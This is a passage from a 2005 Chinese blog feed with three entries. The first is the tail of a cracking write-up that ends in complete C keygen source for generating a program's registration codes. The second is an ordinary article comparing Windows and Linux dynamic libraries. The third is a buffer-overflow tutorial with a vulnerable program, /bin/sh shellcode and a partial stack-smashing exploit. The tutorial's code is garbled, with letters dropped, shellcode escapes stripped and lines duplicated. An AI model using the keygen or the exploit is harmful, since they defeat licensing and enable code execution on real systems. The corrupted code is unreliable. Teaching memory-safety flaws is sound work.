EAX,30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 该值加上0x30<BR>005861B0&nbsp; |.&gt;|MOV BYTE PTR DS:[EBX],AL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 这个值就是注册码的第i个值，写入内存保存起来<BR>005861B2&nbsp; |.&gt;|INC EBX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 继续下一步<BR>005861B3&nbsp; |.&gt;|JMP SHORT unpacked.005861BD<BR>005861B5&nbsp; |&gt;&gt;|ADD AL,BYTE PTR SS:[EBP+18]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面如果大于0A，则加上[EBP+18]==61，<BR>005861B8&nbsp; |.&gt;|ADD AL,0F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 再加上0F6<BR>005861BA&nbsp; |.&gt;|MOV BYTE PTR DS:[EBX],AL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 作为注册码的第i个值写入内存<BR>005861BC&nbsp; |.&gt;|INC EBX<BR>005861BD&nbsp; |&gt;&gt; LEA EDX,DWORD PTR SS:[EBP-24]&nbsp;&nbsp; ;&nbsp; 取地址[EBP-24]<BR>005861C0&nbsp; |.&gt;|CMP ECX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 比较是否结束循环<BR>005861C2&nbsp; |.&gt;\JNZ SHORT unpacked.005861A6&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 没有结束则继续<BR>005861C4&nbsp; |&gt;&gt;MOV BYTE PTR DS:[EBX],0<BR>005861C7&nbsp; |.&gt;MOV EAX,DWORD PTR SS:[EBP+C]<BR>005861CA&nbsp; |.&gt;POP EDI<BR>005861CB&nbsp; |.&gt;POP ESI<BR>005861CC&nbsp; |.&gt;POP EBX<BR>005861CD&nbsp; |.&gt;MOV ESP,EBP<BR>005861CF&nbsp; |.&gt;POP EBP<BR>005861D0&nbsp; \.&gt;RETN</P>
<P>----------------------------------------------------------------------------------------</P>
<P>呵呵，过程清晰明了吧？第一次循环：机器码异或0x90909090的结果除以前面求得的压栈的余数，然后这个过程的余数写入内存保留，商作为下一次循环的变量继续循环。第二次循环：将第一次循环中写入内存的值逆序读取出来，同0xA比较，小于就直接加上0x30，作为注册码的第i个字符写入内存；大于等于则加上61，再加0xF6，取低字节作为注册码的第i个字符写入内存。用户名没有参与计算。也不知道我说明白了没有，还是看程序来得直接，C源码的注册机：</P>
<P>-----------------------------------------------------------------------------------------</P>
<P>#include "stdafx.h"<BR>#include "stdlib.h"<BR>#include "stdio.h"</P>
<P>int main(int argc, char* argv[])<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char chKey[128] = {0};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int unXORCode, unRemainder, unQuotient, unTmp, unMachineCode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Please Key in the Machine Code:\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("%d", &amp;unMachineCode);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unXORCode&nbsp;&nbsp; = unMachineCode ^ 0x90909090;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unRemainder = unXORCode % 0x25;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unQuotient&nbsp; = unXORCode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (unRemainder &lt; 0x11)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unRemainder += 0x11;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (unQuotient != 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = unQuotient % unRemainder;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unQuotient /= unRemainder;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (unTmp &gt;= 0xa)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp = unTmp + 0x61 + 0xf6;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp &amp;= 0x0ff;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chKey[i] = unTmp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chKey[i] = unTmp + 0x30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Key is: \n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (i &gt;= 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%c", chKey[i]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i--;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>}</P>
<P>-----------------------------------------------------------------------------------------</P>
<P>&nbsp;</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239976.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41805/" target="_blank">[新闻]张亚勤一改陈永正做法 微软举报洪磊为推广Vista</a>]]></description></item><item><title>深入分析Windows和Linux动态库应用异同</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 12:47:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239959.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239959.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239959.html</trackback:ping><description><![CDATA[<P>深入分析Windows和Linux动态库应用异同</P>
<P>作者：刘世栋 杨林</P>
<P>摘要：动态链接库技术实现和设计程序常用的技术，在Windows和Linux系统中都有动态库的概念，采用动态库可以有效的减少程序大小，节省空间，提高效率，增加程序的可扩展性，便于模块化管理。</P>
<P>但不同操作系统的动态库由于格式 不同，在需要不同操作系统调用时需要进行动态库程序移植。本文分析和比较了两种操作系统动态库技术，并给出了将Visual C++编制的动态库移植到Linux上的方法和经验。</P>
<P>1、引言</P>
<P>动态库（Dynamic Link Library abbr，DLL）技术是程序设计中经常采用的技术。其目的减少程序的大小，节省空间，提高效率，具有很高的灵活性。</P>
<P>采用动态库技术对于升级软件版本更加容易。与静态库（Static Link Library）不同，动态库里面的函数不是执行程序本身的一部分，而是根据执行需要按需载入，其执行代码可以同时在多个程序中共享。</P>
<P>在Windows和Linux操作系统中，都可采用这种方式进行软件设计，但他们的调用方式以及程序编制方式不尽相同。本文首先分析了在这两种操作系统中通常采用的动态库调用方法以及程序编制方式，然后分析比较了这两种方式的不同之处，最后根据实际移植程序经验，介绍了将VC++编制的Windows动态库移植到Linux下的方法。</P>
<P>2、动态库技术</P>
<P>2.1 Windows动态库技术</P>
<P>动态链接库是实现Windows应用程序共享资源、节省内存空间、提高使用效率的一个重要技术手段。常见的动态库包含外部函数和资源，也有一些动态库只包含资源，如Windows字体资源文件，称之为资源动态链接库。通常动态库以.dll，.drv、.fon等作为后缀。</P>
<P>相应的windows静态库通常以.lib结尾，Windows自己就将一些主要的系统功能以动态库模块的形式实现。</P>
<P>Windows动态库在运行时被系统加载到进程的虚拟空间中，使用从调用进程的虚拟地址空间分配的内存，成为调用进程的一部分。DLL也只能被该进程的线程所访问。DLL的句柄可以被调用进程使用；调用进程的句柄可以被DLL使用。</P>
<P>DLL模块中包含各种导出函数，用于向外界提供服务。DLL可以有自己的数据段，但没有自己的堆栈，使用与调用它的应用程序相同的堆栈模式；一个DLL在内存中只有一个实例；DLL实现了代码封装性；DLL的编制与具体的编程语言及编译器无关，可以通过DLL来实现混合语言编程。DLL函数中的代码所创建的任何对象（包括变量）都归调用它的线程或进程所有。</P>
<P>根据调用方式的不同，对动态库的调用可分为静态调用方式和动态调用方式。</P>
<P>(1)静态调用，也称为隐式调用，由编译系统完成对DLL的加载和应用程序结束时DLL卸载的编码（Windows系统负责对DLL调用次数的计数），调用方式简单，能够满足通常的要求。通常采用的调用方式是把产生动态连接库时产生的.LIB文件加入到应用程序的工程中，想使用DLL中的函数时，只须在源文件中声明一下。</P>
<P>LIB文件包含了每一个DLL导出函数的符号名和可选择的标识号以及DLL文件名，不含有实际的代码。Lib文件包含的信息进入到生成的应用程序中，被调用的DLL文件会在应用程序加载时同时加载在到内存中。</P>
<P>(2)动态调用，即显式调用方式，是由编程者用API函数加载和卸载DLL来达到调用DLL的目的，比较复杂，但能更加有效地使用内存，是编制大型应用程序时的重要方式。在Windows系统中，与动态库调用有关的函数包括：</P>
<P>①LoadLibrary（或MFC 的AfxLoadLibrary），装载动态库。</P>
<P>②GetProcAddress，获取要引入的函数，将符号名或标识号转换为DLL内部地址。</P>
<P>③FreeLibrary（或MFC的AfxFreeLibrary），释放动态链接库。</P>
<P>在windows中创建动态库也非常方便和简单。在Visual C++中，可以创建不用MFC而直接用C语言写的DLL程序，也可以创建基于MFC类库的DLL程序。每一个DLL必须有一个入口点，在VC++中，DllMain是一个缺省的入口函数。DllMain负责初始化(Initialization)和结束(Termination)工作。</P>
<P>动态库输出函数也有两种约定，分别是基于调用约定和名字修饰约定。DLL程序定义的函数分为内部函数和导出函数，动态库导出的函数供其它程序模块调用。通常可以有下面几种方法导出函数：</P>
<P>①采用模块定义文件的EXPORT部分指定要输入的函数或者变量。</P>
<P>②使用MFC提供的修饰符号_declspec(dllexport)。</P>
<P>③以命令行方式，采用/EXPORT命令行输出有关函数。</P>
<P>在windows动态库中，有时需要编写模块定义文件(.DEF)，它是用于描述DLL属性的模块语句组成的文本文件。</P>
<P>2.2 Linux共享对象技术</P>
<P>在Linux操作系统中，采用了很多共享对象技术（Shared Object），虽然它和Windows里的动态库相对应，但它并不称为动态库。相应的共享对象文件以.so作为后缀，为了方便，在本文中，对该概念不进行专门区分。Linux系统的/lib以及标准图形界面的/usr/X11R6/lib等目录里面，就有许多以so结尾的共享对象。</P>
<P>同样，在Linux下，也有静态函数库这种调用方式，相应的后缀以.a结束。Linux采用该共享对象技术以方便程序间共享，节省程序占有空间，增加程序的可扩展性和灵活性。Linux还可以通过LD-PRELOAD变量让开发人员可以使用自己的程序库中的模块来替换系统模块。</P>
<P>同Windows系统一样，在Linux中创建和使用动态库是比较容易的事情，在编译函数库源程序时加上-shared选项即可，这样所生成的执行程序就是动态链接库。通常这样的程序以so为后缀，在Linux动态库程序设计过程中，通常流程是编写用户的接口文件，通常是.h文件，编写实际的函数文件，以.c或.cpp为后缀，再编写makefile文件。对于较小的动态库程序可以不用如此，但这样设计使程序更加合理。</P>
<P>编译生成动态连接库后，进而可以在程序中进行调用。在Linux中，可以采用多种调用方式，同Windows的系统目录(..\system32等)一样，可以将动态库文件拷贝到/lib目录或者在/lib目录里面建立符号连接，以便所有用户使用。</P>
<P>下面介绍Linux调用动态库经常使用的函数，但在使用动态库时，源程序必须包含dlfcn.h头文件，该文件定义调用动态链接库的函数的原型。</P>
<P>(1)_打开动态链接库：dlopen，函数原型void *dlopen (const char *filename, int flag); dlopen用于打开指定名字(filename)的动态链接库，并返回操作句柄。</P>
<P>(2)取函数执行地址：dlsym，函数原型为: void *dlsym(void *handle, char *symbol); dlsym根据动态链接库操作句柄(handle)与符号(symbol)，返回符号对应的函数的执行代码地址。</P>
<P>(3)关闭动态链接库：dlclose，函数原型为: int dlclose (void *handle); dlclose用于关闭指定句柄的动态链接库，只有当此动态链接库的使用计数为0时,才会真正被系统卸载。</P>
<P>(4)动态库错误函数：dlerror，函数原型为: const char *dlerror(void); 当动态链接库操作函数执行失败时，dlerror可以返回出错信息，返回值为NULL时表示操作函数执行成功。</P>
<P>在取到函数执行地址后，就可以在动态库的使用程序里面根据动态库提供的函数接口声明调用动态库里面的函数。在编写调用动态库的程序的makefile文件时，需要加入编译选项-rdynamic和-ldl。</P>
<P>除了采用这种方式编写和调用动态库之外，Linux操作系统也提供了一种更为方便的动态库调用方式，也方便了其它程序调用，这种方式与Windows系统的隐式链接类似。其动态库命名方式为&#8220;lib*.so.*&#8221;。在这个命名方式中，第一个*表示动态链接库的库名，第二个*通常表示该动态库的版本号，也可以没有版本号。</P>
<P>在这种调用方式中，需要维护动态链接库的配置文件/etc/ld.so.conf来让动态链接库为系统所使用，通常将动态链接库所在目录名追加到动态链接库配置文件中。如具有X window窗口系统发行版该文件中都具有/usr/X11R6/lib，它指向X window窗口系统的动态链接库所在目录。</P>
<P>为了使动态链接库能为系统所共享，还需运行动态链接库的管理命令./sbin/ldconfig。在编译所引用的动态库时，可以在gcc采用 &#8211;l或-L选项或直接引用所需的动态链接库方式进行编译。在Linux里面，可以采用ldd命令来检查程序依赖共享库。</P>
<P>3、两种系统动态库比较分析</P>
<P>Windows和Linux采用动态链接库技术目的是基本一致的，但由于操作系统的不同，他们在许多方面还是不尽相同，下面从以下几个方面进行阐述。</P>
<P>(1)动态库程序编写，在Windows系统下的执行文件格式是PE格式，动态库需要一个DllMain函数作为初始化的人口，通常在导出函数的声明时需要有_declspec(dllexport)关键字。Linux下的gcc编译的执行文件默认是ELF格式，不需要初始化入口，亦不需要到函数做特别声明，编写比较方便。</P>
<P>(2)动态库编译，在windows系统下面，有方便的调试编译环境，通常不用自己去编写makefile文件，但在linux下面，需要自己动手去编写makefile文件，因此，必须掌握一定的makefile编写技巧，另外，通常Linux编译规则相对严格。</P>
<P>(3)动态库调用方面，Windows和Linux对其下编制的动态库都可以采用显式调用或隐式调用，但具体的调用方式也不尽相同。</P>
<P>(4)动态库输出函数查看，在Windows中，有许多工具和软件可以进行查看DLL中所输出的函数，例如命令行方式的dumpbin以及VC++工具中的DEPENDS程序。在Linux系统中通常采用nm来查看输出函数，也可以使用ldd查看程序隐式链接的共享对象文件。</P>
<P>(5)对操作系统的依赖，这两种动态库运行依赖于各自的操作系统，不能跨平台使用。因此，对于实现相同功能的动态库，必须为两种不同的操作系统提供不同的动态库版本。</P>
<P>4、动态库移植方法</P>
<P>如果要编制在两个系统中都能使用的动态链接库，通常会先选择在Windows的VC++提供的调试环境中完成初始的开发，毕竟VC++提供的图形化编辑和调试界面比vi和gcc方便许多。完成测试之后，再进行动态库的程序移植。</P>
<P>通常gcc默认的编译规则比VC++默认的编译规则严格，即使在VC++下面没有任何警告错误的程序在gcc调试中也会出现许多警告错误，可以在gcc中采用-w选项关闭警告错误。</P>
<P>下面给出程序移植需要遵循的规则以及经验。</P>
<P>(1)尽量不要改变原有动态库头文件的顺序。通常在C/C++语言中，头文件的顺序有相当的关系。另外虽然C/C++语言区分大小写，但在包含头文件时，Linux必须与头文件的大小写相同，因为ext2文件系统对文件名是大小写敏感，否则不能正确编译，而在Windows下面，头文件大小写可以正确编译。</P>
<P>(2)不同系统独有的头文件。在Windows系统中，通常会包括windows.h头文件，如果调用底层的通信函数，则会包含winsock..h头文件。因此在移植到Linux系统时，要注释掉这些Windows系统独有的头文件以及一些windows系统的常量定义说明，增加Linux都底层通信的支持的头文件等。</P>
<P>(3)数据类型。VC++具有许多独有的数据类型，如__int16，__int32，TRUE，SOCKET等，gcc编译器不支持它们。通常做法是需要将windows.h和basetypes.h中对这些数据进行定义的语句复制到一个头文件中，再在Linux中包含这个头文件。例如将套接字的类型为SOCKET改为int。</P>
<P>(4)关键字。VC++中具有许多标准C中所没有采用的关键字，如BOOL，BYTE，DWORD，__asm等，通常在为了移植方便，尽量不使用它们，如果实在无法避免可以采用#ifdef 和#endif为LINUX和WINDOWS编写两个版本。</P>
<P>(5)函数原型的修改。通常如果采用标准的C/C++语言编写的动态库，基本上不用再重新编写函数，但对于系统调用函数，由于两种系统的区别，需要改变函数的调用方式等，如在Linux编制的网络通信动态库中，用close()函数代替windows操作系统下的closesocket()函数来关闭套接字。另外在Linux下没有文件句柄，要打开文件可用open和fopen函数，具体这两个函数的用法可参考文献[2]。</P>
<P>(6)makefile的编写。在windows下面通常由VC++编译器来负责调试，但gcc需要自己动手编写makefile文件，也可以参照VC++生成的makefile文件。对于动态库移植，编译动态库时需要加入-shared选项。对于采用数学函数，如幂级数的程序，在调用动态库是，需要加入-lm。</P>
<P>(7)其它一些需要注意的地方</P>
<P>①程序设计结构分析，对于移植它人编写的动态库程序，程序结构分析是必不可少的步骤，通常在动态库程序中，不会包含界面等操作，所以相对容易一些。</P>
<P>②在Linux中，对文件或目录的权限分为拥有者、群组、其它。所以在存取文件时，要注意对文件是读还是写操作，如果是对文件进行写操作，要注意修改文件或目录的权限，否则无法对文件进行写。</P>
<P>③指针的使用，定义一个指针只给它分配四个字节的内存，如果要对指针所指向的变量赋值，必须用malloc函数为它分配内存或不把它定义为指针而定义为变量即可，这点在linux下面比windows编译严格。同样结构不能在函数中传值，如果要在函数中进行结构传值，必须把函数中的结构定义为结构指针。</P>
<P>④路径标识符，在Linux下是&#8220;/&#8221;，在Windows下是&#8220;\&#8221;，注意windows和Linux的对动态库搜索路径的不同。</P>
<P>⑤编程和调试技巧方面。对不同的调试环境有不同的调试技巧，在这里不多叙述。</P>
<P>5、结束语</P>
<P>本文系统分析了windows和Linux动态库实现和使用方式，从程序编写、编译、调用以及对操作系统依赖等方面综合分析比较了这两种调用方式的不同之处，根据实际程序移植经验，给出了将VC++编制的Windows动态库移植到Linux下的方法以及需要注意的问题，同时并给出了程序示例片断，实际在程序移植过程中，由于系统的设计等方面，可能移植起来需要注意的方面远比上面复杂，本文通过总结归纳进而为不同操作系统程序移植提供了有意的经验和技巧。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239959.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41805/" target="_blank">[新闻]张亚勤一改陈永正做法 微软举报洪磊为推广Vista</a>]]></description></item><item><title>从头到脚了解缓冲溢出</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 12:46:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239958.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239958.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239958.html</trackback:ping><description><![CDATA[<P>从头到脚了解缓冲溢出</P>
<P>作者：Wendy</P>
<P>在这份指南中，我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言，如果熟悉GDB的话更加好，当然这不是很必要的。 </P>
<P>(Memory organization)存储器分为3个部分 </P>
<P>1. 文本区域(程序区） </P>
<P>这个部分是用来存储程序指令的.所以，这个区域被标示为只读，任何写的操作都将导致错误。 </P>
<P>2. 数据区域 </P>
<P>这个部分存储静态变量，它的大小可以由brk()系统调用来改变。 </P>
<P>3. 堆栈 </P>
<P>堆栈有个特殊的属性，就是最新放置在它里面的，都将是第一个被移出堆栈的。在计算机科学里，这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程，这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的，返回地址在过程被调用之前就被设置在堆栈中。 </P>
<P>它也被用来动态分配函数中的变量，以及函数的参数和返回值。 </P>
<P>返回地址和指令指针 </P>
<P>计算机执行一条指令，并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。 执行完成后，RET将会替换IP，程序接着继续执行本来的流程。 </P>
<P>一个缓冲溢出 </P>
<P>让我们用一个例子来说明以下缓冲溢出。 </P>
<P>lt;++&gt; buffer/example.c <BR>void main(){ <BR>char big_string［100］; <BR>char small_string［50］; <BR>memset(big_string,0x41,100); <BR>/* strcpy(char *to,char *from) */ <BR>trcpy(small_string,big_string);} <BR>lt;--&gt; end of example.c<BR>&nbsp;<BR>这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显，数组small_string不能容纳100个字符，因此，溢出产生。 </P>
<P>接下来我们看看存储器中的变化情况: </P>
<P>［ big_string ］ ［ small_string ］ ［SFP］ ［RET］ </P>
<P>在溢出中，SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候，指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着，计算机会试着去执行在0x41414141处的指令。这将会导致段冲突，因为这个地址已经超出了处理范围。 </P>
<P>发掘漏洞 </P>
<P>现在我们知道我们可以通过覆盖RET来改变程序的正常流程，我们可以实验一下。不是用A来覆盖，而是用一些特别的地址来达到我们的目的。 </P>
<P>任意代码的执行 </P>
<P>现在我们需要一些东西来指向地址并执行。在大多数情况下，我们需要产生一个shell，当然这不是惟一的方法。 </P>
<P>Before: <BR>FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF <BR>B = the buffer <BR>E = stack frame pointer <BR>R = return address <BR>F = other data <BR>After: <BR>FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF <BR>S = shellcode <BR>A = address pointing to the shellcode <BR>F = other data</P>
<P>用C来产生shell的代码如下: </P>
<P>lt;++&gt; buffer/shell.c <BR>void main(){ <BR>char *name［2］; <BR>ame［0］ = "/bin/sh"; <BR>ame［1］ = 0x0; <BR>execve(name［0］, name, 0x0); <BR>exit(0); <BR>} <BR>lt;--&gt; end of shellcode<BR>&nbsp;<BR>这里我们就不打算去解释如何去写一个shellcode了，因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说，可以根据以下的步骤来完成： </P>
<P>- 用 -static flag 开关来编译上面的程序 </P>
<P>- 用GDB来打开上面的程序，然后用&#8220;disassemble main&#8221;命令 </P>
<P>- 去掉所有不必要的代码 </P>
<P>- 用汇编来重写它 </P>
<P>- 编译，然后再用GDB打开，用&#8220;disassemble main&#8221;命令 </P>
<P>- 在指令地址使用 x/bx 命令，找回 hex-code. </P>
<P>或者你可以使用这些代码 </P>
<P>char shellcode［］= <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh";</P>
<P>寻找地址 </P>
<P>当我们尝试去溢出一个程序的缓冲区的时候，这个程序要寻找这个缓冲区的地址。这个问题的答案是：对每个程序来说，堆栈都是在同一个地址上开始的。因此，只要知道了这个堆栈的地址是在哪里的，我们就可以猜出这个缓冲区的地址了。 </P>
<P>下面这个程序会告诉我们这个程序的的堆栈指针: </P>
<P>lt;++&gt; buffer/getsp.c <BR>unsigned long get_sp(void){ <BR>__asm__("movl %esp, %eax); <BR>} <BR>void main(){ <BR>fprintf(stdout,"0x%xn",get_sp()); <BR>} <BR>lt;--&gt; end of getsp.c</P>
<P>试一下下面这个例子 </P>
<P>lt;++&gt; buffer/hole.c <BR>void main(int argc,char **argv［］){ <BR>char buffer［512］; <BR>if (argc &gt; 1) /* otherwise we crash our little program */ <BR>trcpy(buffer,argv［1］); <BR>} <BR>lt;--&gt; end of hole.c <BR>lt;++&gt; buffer/exploit1.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; 